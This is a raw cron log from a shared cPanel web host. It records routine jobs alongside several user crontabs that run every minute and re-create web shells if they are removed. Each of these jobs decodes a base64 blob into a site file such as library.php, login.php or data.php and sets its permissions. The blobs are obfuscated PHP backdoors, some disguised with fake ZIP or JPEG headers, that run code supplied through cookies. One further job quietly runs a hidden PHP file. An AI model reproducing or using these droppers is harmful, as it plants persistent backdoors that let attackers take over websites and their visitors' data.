Apr 19 08:46:01 medusa CROND[11691]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:46:01 medusa CROND[11693]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Apr 19 08:46:01 medusa CROND[11694]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 08:46:01 medusa CROND[11695]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 08:46:01 medusa CROND[11697]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 08:46:01 medusa CROND[11699]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:46:01 medusa CROND[11703]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:47:01 medusa CROND[3494]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 08:47:01 medusa CROND[3495]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Apr 19 08:47:01 medusa CROND[3496]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 08:47:01 medusa CROND[3497]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 08:47:01 medusa CROND[3500]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 08:47:01 medusa CROND[3501]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:47:01 medusa CROND[3498]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Apr 19 08:47:01 medusa CROND[3505]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 08:47:01 medusa CROND[3506]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:47:01 medusa CROND[3512]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:47:01 medusa CROND[3515]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 08:47:01 medusa CROND[3516]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:47:01 medusa CROND[3518]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 08:48:02 medusa CROND[27830]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 08:48:02 medusa CROND[27831]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:48:02 medusa CROND[27833]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 08:48:02 medusa CROND[27834]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Apr 19 08:48:02 medusa CROND[27832]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 08:48:02 medusa CROND[27835]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 08:48:02 medusa CROND[27840]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 08:48:02 medusa CROND[27847]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:48:02 medusa CROND[27850]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
